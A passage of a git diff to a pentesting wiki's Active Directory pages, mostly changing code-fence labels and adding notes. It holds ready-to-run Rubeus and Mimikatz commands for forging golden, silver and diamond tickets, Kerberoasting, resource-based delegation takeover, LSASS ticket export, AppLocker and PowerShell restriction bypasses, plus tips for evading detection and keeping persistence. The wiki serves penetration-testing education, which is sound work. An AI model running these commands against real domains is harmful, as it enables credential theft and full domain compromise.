-no-pass ``` ```bash:From Windows +# Rubeus +## The /ldap command will get the details from the LDAP (so you don't need to put the SID) +## The /printcmd option will print the complete command if later you want to generate a token offline +.\Rubeus.exe asktgt /user:Rubeus.exe golden /rc4: /domain: /sid: /sids:-519 /user:Administrator /ptt /ldap /nowrap /printcmd + + /rc4:25b2076cda3bfd6209161a6c78a69c1c /domain:jurassic.park /ptt #mimikatz kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt .\Rubeus.exe ptt /ticket:ticket.kirbi diff --git a/src/windows-hardening/active-directory-methodology/kerberoast.md b/src/windows-hardening/active-directory-methodology/kerberoast.md index 01cced36c..b91ca4f93 100644 --- a/src/windows-hardening/active-directory-methodology/kerberoast.md +++ b/src/windows-hardening/active-directory-methodology/kerberoast.md @@ -20,6 +20,9 @@ For executing **Kerberoasting**, a domain account capable of requesting **TGS ti > [!WARNING] > **Kerberoasting tools** typically request **`RC4 encryption`** when performing the attack and initiating TGS-REQ requests. This is because **RC4 is** [**weaker**](https://www.stigviewer.com/stig/windows_10/2017-04-28/finding/V-63795) and easier to crack offline using tools such as Hashcat than other encryption algorithms such as AES-128 and AES-256.\ > RC4 (type 23) hashes begin with **`$krb5tgs$23$*`** while AES-256(type 18) start with **`$krb5tgs$18$*`**`.` +> Moreover, be careful because `Rubeus.exe kerberoast` request tickets automatically over ALL the vulnerable accounts which will get you detected. First, find kerberoastable users with interesting privileges and then run it nly over them. + +```bash #### **Linux** @@ -45,7 +48,7 @@ adenum -d -ip -u -p -c - **Enumerate Kerberoastable users** -```powershell +```bash # Get Kerberoastable users setspn.exe -Q */* #This is a built-in binary. Focus on user accounts Get-NetUser -SPN | select serviceprincipalname #Powerview @@ -54,7 +57,7 @@ Get-NetUser -SPN | select serviceprincipalname #Powerview - **Technique 1: Ask for TGS and dump it from memory** -```powershell +```bash #Get TGS in memory from a single user Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local diff --git a/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md b/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md index c0e2c511f..71a121b9b 100644 --- a/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md +++ b/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md @@ -29,7 +29,7 @@ Another way to avoid this problem which is [**notably insecure**](https://docs.m It is highly recommended that **CredSSP** be disabled on production systems, sensitive networks, and similar environments due to security concerns. To determine whether **CredSSP** is enabled, the `Get-WSManCredSSP` command can be run. This command allows for the **checking of CredSSP status** and can even be executed remotely, provided **WinRM** is enabled. -```powershell +```bash Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock { Get-WSManCredSSP } @@ -41,7 +41,7 @@ Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock { To address the double hop issue, a method involving a nested `Invoke-Command` is presented. This does not solve the problem directly but offers a workaround without needing special configurations. The approach allows executing a command (`hostname`) on a secondary server through a PowerShell command executed from an initial attacking machine or through a previously established PS-Session with the first server. Here's how it's done: -```powershell +```bash $cred = Get-Credential ta\redsuit Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock { Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname} @@ -54,7 +54,7 @@ Alternatively, establishing a PS-Session with the first server and running the ` A solution to bypass the double hop problem involves using `Register-PSSessionConfiguration` with `Enter-PSSession`. This method requires a different approach than `evil-winrm` and allows for a session that does not suffer from the double hop limitation. -```powershell +```bash Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username Restart-Service WinRM Enter-PSSession -ConfigurationName doublehopsess -ComputerName -Credential domain_name\username diff --git a/src/windows-hardening/active-directory-methodology/laps.md b/src/windows-hardening/active-directory-methodology/laps.md index 4ff1b91a8..7c221d0fd 100644 --- a/src/windows-hardening/active-directory-methodology/laps.md +++ b/src/windows-hardening/active-directory-methodology/laps.md @@ -30,7 +30,7 @@ You could **download the raw LAPS policy** from `\\dc\SysVol\domain\Policies\{4A Moreover, the **native LAPS PowerShell cmdlets** can be used if they're installed on a machine we have access to: -```powershell +```bash Get-Command *AdmPwd* CommandType Name Version Source @@ -53,7 +53,7 @@ Get-AdmPwdPassword -ComputerName wkstn-2 | fl **PowerView** can also be used to find out **who can read the password and read it**: -```powershell +```bash # Find the principals that have ReadPropery on ms-Mcs-AdmPwd Get-AdmPwdPassword -ComputerName wkstn-2 | fl @@ -67,7 +67,7 @@ The [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) facilitates the enu One is parsing **`ExtendedRights`** for **all computers with LAPS enabled.** This will show **groups** specifically **delegated to read LAPS passwords**, which are often users in protected groups.\ An **account** that has **joined a computer** to a domain receives `All Extended Rights` over that host, and this right gives the **account** the ability to **read passwords**. Enumeration may show a user account that can read the LAPS password on a host. This can help us **target specific AD users** who can read LAPS passwords. -```powershell +```bash # Get groups that can read passwords Find-LAPSDelegatedGroups @@ -117,7 +117,7 @@ Password: 2Z@Ae)7!{9#Cq Once admin, it's possible to **obtain the passwords** and **prevent** a machine from **updating** its **password** by **setting the expiration date into the future**. -```powershell +```bash # Get expiration time Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime diff --git a/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md b/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md index 33089524e..4879a11bb 100644 --- a/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md +++ b/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md @@ -36,6 +36,15 @@ To conform to operational security and use AES256, the following command can be .\Rubeus.exe asktgt /user: /domain: /aes256:HASH /nowrap /opsec ``` +## Stealthier version + +> [!WARNING] +> Each logon session can only have one active TGT at a time so be careful. + +1. Create a new logon sesison with **`make_token`** from Cobalt Strike. +2. Then, use Rubeus to generate a TGT for the new logon session without affecting the existing one. + + ## References - [https://www.tarlogic.com/es/blog/como-atacar-kerberos/](https://www.tarlogic.com/es/blog/como-atacar-kerberos/) diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md index d4be04cae..ba2d5715f 100644 --- a/src/windows-hardening/active-directory-methodology/password-spraying.md +++ b/src/windows-hardening/active-directory-methodology/password-spraying.md @@ -93,7 +93,7 @@ done - With [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (It can generate users from the domain by default and it will get the password policy from the domain and limit tries according to it): -```powershell +```bash Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` diff --git a/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md b/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md index 57cb93fe0..9f2c2335b 100644 --- a/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md +++ b/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md @@ -124,6 +124,12 @@ If you can perform a MitM attack to a computer and inject HTML in a page he will ``` +## Other ways to force and phish NTLM authentication + +{{#ref}} +../ntlm/places-to-steal-ntlm-creds.md +{{#endref}} + ## Cracking NTLMv1 If you can capture [NTLMv1 challenges read here how to crack them](../ntlm/index.html#ntlmv1-attack).\ diff --git a/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md b/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md index 5a51be49e..596ebd40a 100644 --- a/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md +++ b/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md @@ -14,7 +14,7 @@ This group is empowered to create accounts and groups that are not administrator To identify the members of this group, the following command is executed: -```powershell +```bash Get-NetGroupMember -Identity "Account Operators" -Recurse ``` @@ -28,7 +28,7 @@ An attacker could exploit this by modifying the **AdminSDHolder** group's ACL, g Commands to review the members and modify permissions include: -```powershell +```bash Get-NetGroupMember -Identity "AdminSDHolder" -Recurse Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'} @@ -66,7 +66,7 @@ Membership in the `Backup Operators` group provides access to the `DC01` file sy To list group members, execute: -```powershell +```bash Get-NetGroupMember -Identity "Backup Operators" -Recurse ``` @@ -160,7 +160,7 @@ Members of the **DnsAdmins** group can exploit their privileges to load an arbit To list members of the DnsAdmins group, use: -```powershell +```bash Get-NetGroupMember -Identity "DnsAdmins" -Recurse ``` @@ -168,7 +168,7 @@ Get-NetGroupMember -Identity "DnsAdmins" -Recurse Members can make the DNS server load an arbitrary DLL (either locally or from a remote share) using commands such as: -```powershell +```bash dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage: @@ -208,7 +208,7 @@ DnsAdmins can manipulate DNS records to perform Man-in-the-Middle (MitM) attacks ### Event Log Readers Members can access event logs, potentially finding sensitive information such as plaintext passwords or command execution details: -```powershell +```bash # Get members and search logs for sensitive information Get-NetGroupMember -Identity "Event Log Readers" -Recurse Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} @@ -218,7 +218,7 @@ Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Va This group can modify DACLs on the domain object, potentially granting DCSync privileges. Techniques for privilege escalation exploiting this group are detailed in Exchange-AD-Privesc GitHub repo. -```powershell +```bash # List members Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse ``` @@ -251,7 +251,7 @@ Members of the **Print Operators** group are endowed with several privileges, in To list the members of this group, the following PowerShell command is used: -```powershell +```bash Get-NetGroupMember -Identity "Print Operators" -Recurse ``` @@ -261,7 +261,7 @@ For more detailed exploitation techniques related to **`SeLoadDriverPrivilege`** This group's members are granted access to PCs via Remote Desktop Protocol (RDP). To enumerate these members, PowerShell commands are available: -```powershell +```bash Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse Get-NetLocalGroupMember -ComputerName -GroupName "Remote Desktop Users" ``` @@ -272,7 +272,7 @@ Further insights into exploiting RDP can be found in dedicated pentesting resour Members can access PCs over **Windows Remote Management (WinRM)**. Enumeration of these members is achieved through: -```powershell +```bash Get-NetGroupMember -Identity "Remote Management Users" -Recurse Get-NetLocalGroupMember -ComputerName -GroupName "Remote Management Users" ``` @@ -283,7 +283,7 @@ For exploitation techniques related to **WinRM**, specific documentation should This group has permissions to perform various configurations on Domain Controllers, including backup and restore privileges, changing system time, and shutting down the system. To enumerate the members, the command provided is: -```powershell +```bash Get-NetGroupMember -Identity "Server Operators" -Recurse ``` diff --git a/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md b/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md index 3378c48be..a88eceb2d 100644 --- a/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md +++ b/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md @@ -8,7 +8,7 @@ If the **external group** has **RDP access** to any **computer** in the current Once that user has accessed via RDP, the **attacker can pivot to that users session** and abuse its permissions in the external domain. -```powershell +```bash # Supposing the group "External Users" has RDP access in the current domain ## lets find where they could access ## The easiest way would be with bloodhound, but you could also run: @@ -40,7 +40,7 @@ If a user access via **RDP into a machine** where an **attacker** is **waiting** In this case you could just **compromise** the **victims** **original computer** by writing a **backdoor** in the **statup folder**. -```powershell +```bash # Wait til someone logs in: net logons Logged on users at \\localhost: diff --git a/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md b/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md index c05565162..743543dfd 100644 --- a/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md +++ b/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md @@ -5,18 +5,18 @@ ## Basics of Resource-based Constrained Delegation -This is similar to the basic [Constrained Delegation](constrained-delegation.md) but **instead** of giving permissions to an **object** to **impersonate any user against a service**. Resource-based Constrain Delegation **sets** in **the object who is able to impersonate any user against it**. +This is similar to the basic [Constrained Delegation](constrained-delegation.md) but **instead** of giving permissions to an **object** to **impersonate any user against a machine**. Resource-based Constrain Delegation **sets** in **the object who is able to impersonate any user against it**. In this case, the constrained object will have an attribute called _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ with the name of the user that can impersonate any other user against it. -Another important difference from this Constrained Delegation to the other delegations is that any user with **write permissions over a machine account** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) can set the _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ (In the other forms of Delegation you needed domain admin privs). +Another important difference from this Constrained Delegation to the other delegations is that any user with **write permissions over a machine account** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) can set the **_msDS-AllowedToActOnBehalfOfOtherIdentity_** (In the other forms of Delegation you needed domain admin privs). ### New Concepts Back in Constrained Delegation it was told that the **`TrustedToAuthForDelegation`** flag inside the _userAccountControl_ value of the user is needed to perform a **S4U2Self.** But that's not completely truth.\ The reality is that even without that value, you can perform a **S4U2Self** against any user if you are a **service** (have a SPN) but, if you **have `TrustedToAuthForDelegation`** the returned TGS will be **Forwardable** and if you **don't have** that flag the returned TGS **won't** be **Forwardable**. -However, if the **TGS** used in **S4U2Proxy** is **NOT Forwardable** trying to abuse a **basic Constrain Delegation** it **won't work**. But if you are trying to exploit a **Resource-Based constrain delegation, it will work** (this is not a vulnerability, it's a feature, apparently). +However, if the **TGS** used in **S4U2Proxy** is **NOT Forwardable** trying to abuse a **basic Constrain Delegation** it **won't work**. But if you are trying to exploit a **Resource-Based constrain delegation, it will work**. ### Attack structure @@ -24,7 +24,7 @@ However, if the **TGS** used in **S4U2Proxy** is **NOT Forwardable** trying to a Suppose that the attacker has already **write equivalent privileges over the victim computer**. -1. The attacker **compromises** an account that has a **SPN** or **creates one** (“Service A”). Note that **any** _Admin User_ without any other special privilege can **create** up until 10 **Computer objects (**_**MachineAccountQuota**_**)** and set them a **SPN**. So the attacker can just create a Computer object and set a SPN. +1. The attacker **compromises** an account that has a **SPN** or **creates one** (“Service A”). Note that **any** _Admin User_ without any other special privilege can **create** up until 10 Computer objects (**_MachineAccountQuota_**) and set them a **SPN**. So the attacker can just create a Computer object and set a SPN. 2. The attacker **abuses its WRITE privilege** over the victim computer (ServiceB) to configure **resource-based constrained delegation to allow ServiceA to impersonate any user** against that victim computer (ServiceB). 3. The attacker uses Rubeus to perform a **full S4U attack** (S4U2Self and S4U2Proxy) from Service A to Service B for a user **with privileged access to Service B**. 1. S4U2Self (from the SPN compromised/created account): Ask for a **TGS of Administrator to me** (Not Forwardable). @@ -34,7 +34,7 @@ Suppose that the attacker has already **write equivalent privileges over the vic To check the _**MachineAccountQuota**_ of the domain you can use: -```powershell +```bash Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota ``` @@ -42,9 +42,9 @@ Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select Ma ### Creating a Computer Object -You can create a computer object inside the domain using [powermad](https://github.com/Kevin-Robertson/Powermad)**:** +You can create a computer object inside the domain using **[powermad](https://github.com/Kevin-Robertson/Powermad):** -```powershell +```bash import-module powermad New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose @@ -52,18 +52,18 @@ New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString ' Get-DomainComputer SERVICEA ``` -### Configuring R**esource-based Constrained Delegation** +### Configuring Resource-based Constrained Delegation **Using activedirectory PowerShell module** -```powershell +```bash Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked ``` **Using powerview** -```powershell +```bash $ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)" $SDBytes = New-Object byte[] ($SD.BinaryLength) @@ -93,14 +93,14 @@ Now, the attack can be performed: rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /aes128: /rc4: /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt ``` -You can generate more tickets just asking once using the `/altservice` param of Rubeus: +You can generate more tickets for more services just asking once using the `/altservice` param of Rubeus: ```bash rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt ``` > [!CAUTION] -> Note that users has an attribute called "**Cannot be delegated**". If a user has this attribute to True, you won't be able to impersonate him . This property can be seen inside bloodhound. +> Note that users have an attribute called "**Cannot be delegated**". If a user has this attribute to True, you won't be able to impersonate him. This property can be seen inside bloodhound. ### Accessing @@ -131,6 +131,7 @@ Lear about the [**available service tickets here**](silver-ticket.md#available-s - [https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/](https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/) - [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object) - [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/) +- [https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/sid-history-injection.md b/src/windows-hardening/active-directory-methodology/sid-history-injection.md index 24abc3e50..19d1a4b4a 100644 --- a/src/windows-hardening/active-directory-methodology/sid-history-injection.md +++ b/src/windows-hardening/active-directory-methodology/sid-history-injection.md @@ -14,10 +14,41 @@ You could also use the **Domain Admins** groups, which ends in **512**. Another way yo find the SID of a group of the other domain (for example "Domain Admins") is with: -```powershell +```bash Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid ``` + +> [!WARNING] +> Note that it's possible to disable SID history in a trust relationship which will make this attack fail. + +According to the [**docs**](https://technet.microsoft.com/library/cc835085.aspx): +- **Disabling SIDHistory on forest trusts** using the netdom tool (`netdom trust /domain: /EnableSIDHistory:no on the domain controller`) +- **Applying SID Filter Quarantining to external trusts** using the netdom tool (`netdom trust /domain: /quarantine:yes on the domain controller`) +- **Applying SID Filtering to domain trusts within a single forest** is not recommended as it is an unsupported configuration and can cause breaking changes. If a domain within a forest is untrustworthy then it should not be a member of the forest. In this situation it is necessary to first split the trusted and untrusted domains into separate forests where SID Filtering can be applied to an interforest trust + +Check this post for more information about bypassing this: [**https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4**](https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4) + +### Diamond Ticket (Rubeus + KRBTGT-AES256) + +Last time I tried this I needed to add the arg **`/ldap`**. + +```bash +# Use the /sids param +Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap /ldap + +# Or a ptt with a golden ticket +## The /ldap command will get the details from the LDAP (so you don't need to put the SID) +## The /printcmd option will print the complete command if later you want to generate a token offline +Rubeus.exe golden /rc4: /domain: /sid: /sids:-519 /user:Administrator /ptt /ldap /nowrap /printcmd + +#e.g. + +execute-assembly ../SharpCollection/Rubeus.exe golden /user:Administrator /domain:current.domain.local /sid:S-1-21-19375142345-528315377-138571287 /rc4:12861032628c1c32c012836520fc7123 /sids:S-1-5-21-2318540928-39816350-2043127614-519 /ptt /ldap /nowrap /printcmd + +# You can use "Administrator" as username or any other string +``` + ### Golden Ticket (Mimikatz) with KRBTGT-AES256 ```bash @@ -43,17 +74,6 @@ For more info about golden tickets check: golden-ticket.md {{#endref}} -### Diamond Ticket (Rubeus + KRBTGT-AES256) - -```powershell -# Use the /sids param -Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap - -# Or a ptt with a golden ticket -Rubeus.exe golden /rc4: /domain: /sid: /sids:-519 /user:Administrator /ptt - -# You can use "Administrator" as username or any other string -``` For more info about diamond tickets check: diff --git a/src/windows-hardening/active-directory-methodology/silver-ticket.md b/src/windows-hardening/active-directory-methodology/silver-ticket.md index 9020f1b44..fb68c4775 100644 --- a/src/windows-hardening/active-directory-methodology/silver-ticket.md +++ b/src/windows-hardening/active-directory-methodology/silver-ticket.md @@ -8,6 +8,10 @@ The **Silver Ticket** attack involves the exploitation of service tickets in Active Directory (AD) environments. This method relies on **acquiring the NTLM hash of a service account**, such as a computer account, to forge a Ticket Granting Service (TGS) ticket. With this forged ticket, an attacker can access specific services on the network, **impersonating any user**, typically aiming for administrative privileges. It's emphasized that using AES keys for forging tickets is more secure and less detectable. +> [!WARNING] +> Silver Tickets are less detectable than Golden Tickets because they only require the **hash of the service account**, not the krbtgt account. However, they are limited to the specific service they target. Moreover, just stealing the password of a user. +Moreover, if you compromise an **account's password with a SPN** you can use that password to create a Silver Ticket impersonating any user to that service. + For ticket crafting, different tools are employed based on the operating system: ### On Linux @@ -21,6 +25,11 @@ python psexec.py /@ -k -no-pass ### On Windows ```bash +# Using Rubeus +## /ldap option is used to get domain data automatically +## With /ptt we already load the tickt in memory +rubeus.exe asktgs /user: [/rc4: /aes128: /aes256:] /domain: /ldap /service:cifs/domain.local /ptt /nowrap /printcmd + # Create the ticket mimikatz.exe "kerberos::golden /domain: /sid: /rc4: /user: /service: /target:" @@ -57,6 +66,10 @@ Using **Rubeus** you may **ask for all** these tickets using the parameter: - 4634: Account Logoff - 4672: Admin Logon +## Persistence + +To avoid machines from rotating their password every 30 days set `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` or you could set `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` to a bigger value than 30days to indicate the rotation perdiod when the machines password should be rotated. + ## Abusing Service tickets In the following examples lets imagine that the ticket is retrieved impersonating the administrator account. @@ -140,14 +153,16 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc **Learn more about DCSync** in the following page: +{{#ref}} +dcsync.md +{{#endref}} + + ## References - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets) - [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) - -{{#ref}} -dcsync.md -{{#endref}} +- [https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027](https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027) diff --git a/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md b/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md index c0f761342..6bdd6d28c 100644 --- a/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md +++ b/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md @@ -10,18 +10,28 @@ So if a domain admin logins inside a Computer with "Unconstrained Delegation" fe You can **find Computer objects with this attribute** checking if the [userAccountControl]() attribute contains [ADS_UF_TRUSTED_FOR_DELEGATION](). You can do this with an LDAP filter of ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, which is what powerview does: -
# List unconstrained computers
+
+```bash
+# List unconstrained computers
 ## Powerview
-Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
-## ADSearch
-ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
-# Export tickets with Mimikatz
-privilege::debug
+## A DCs always appear and might be useful to attack a DC from another compromised DC from a different domain (coercing the other DC to authenticate to it)
+Get-DomainComputer –Unconstrained –Properties name
+Get-DomainUser -LdapFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
+
+## ADSearch
+ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
+
+# Export tickets with Mimikatz
+## Access LSASS memory
+privilege::debug
 sekurlsa::tickets /export #Recommended way
 kerberos::list /export #Another way
 
 # Monitor logins and export new tickets
-.\Rubeus.exe monitor /targetuser: /interval:10 #Check every 10s for new TGTs
+## Doens't access LSASS memory directly, but uses Windows APIs +Rubeus.exe dump +Rubeus.exe monitor /interval:10 [/filteruser:] #Check every 10s for new TGTs +``` Load the ticket of Administrator (or victim user) in memory with **Mimikatz** or **Rubeus for a** [**Pass the Ticket**](pass-the-ticket.md)**.**\ More info: [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)\ @@ -38,10 +48,10 @@ To make a print server login against any machine you can use [**SpoolSample**](h .\SpoolSample.exe ``` -If the TGT if from a domain controller, you could perform a[ **DCSync attack**](acl-persistence-abuse/index.html#dcsync) and obtain all the hashes from the DC.\ +If the TGT if from a domain controller, you could perform a [**DCSync attack**](acl-persistence-abuse/index.html#dcsync) and obtain all the hashes from the DC.\ [**More info about this attack in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation) -**Here are other ways to try to force an authentication:** +Find here other ways to **force an authentication:** {{#ref}} printers-spooler-service-abuse.md diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs.md b/src/windows-hardening/authentication-credentials-uac-and-efs.md index 242fe5e6b..6a312544d 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs.md @@ -13,7 +13,7 @@ It is common for organizations to **block cmd.exe and PowerShell.exe** and write Check which files/extensions are blacklisted/whitelisted: -```powershell +```bash Get-ApplockerPolicy -Effective -xml Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections @@ -182,14 +182,14 @@ PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powers ### **Check** -```powershell +```bash $ExecutionContext.SessionState.LanguageMode #Values could be: FullLanguage or ConstrainedLanguage ``` ### Bypass -```powershell +```bash #Easy bypass Powershell -version 2 ``` @@ -215,7 +215,7 @@ You can use [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/ By default it is set to **restricted.** Main ways to bypass this policy: -```powershell +```bash 1º Just copy and paste inside the interactive PS console 2º Read en Exec Get-Content .runme.ps1 | PowerShell.exe -noprofile - diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md index 52ae38167..d4dcddaf8 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md @@ -13,7 +13,7 @@ It is common for organizations to **block cmd.exe and PowerShell.exe** and write Check which files/extensions are blacklisted/whitelisted: -```powershell +```bash Get-ApplockerPolicy -Effective -xml Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections @@ -182,14 +182,14 @@ PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powers ### **Check** -```powershell +```bash $ExecutionContext.SessionState.LanguageMode #Values could be: FullLanguage or ConstrainedLanguage ``` ### Bypass -```powershell +```bash #Easy bypass Powershell -version 2 ``` @@ -215,7 +215,7 @@ You can use [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/ By default it is set to **restricted.** Main ways to bypass this policy: -```powershell +```bash 1º Just copy and paste inside the interactive PS console 2º Read en Exec Get-Content .runme.ps1 | PowerShell.exe -noprofile - diff --git a/src/windows-hardening/av-bypass.md b/src/windows-hardening/av-bypass.md index c7d02d94a..f0acd74e3 100644 --- a/src/windows-hardening/av-bypass.md +++ b/src/windows-hardening/av-bypass.md @@ -70,7 +70,7 @@ Now we'll show some tricks you can use with DLL files to be much more stealthier You can check for programs susceptible to DLL Sideloading using [Siofra](https://github.com/Cybereason/siofra) and the following powershell script: -```powershell +```bash Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object { $binarytoCheck = "C:\Program Files\" + $_ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck @@ -173,7 +173,7 @@ Since AMSI is implemented by loading a DLL into the powershell (also cscript.exe Forcing the AMSI initialization to fail (amsiInitFailed) will result that no scan will be initiated for the current process. Originally this was disclosed by [Matt 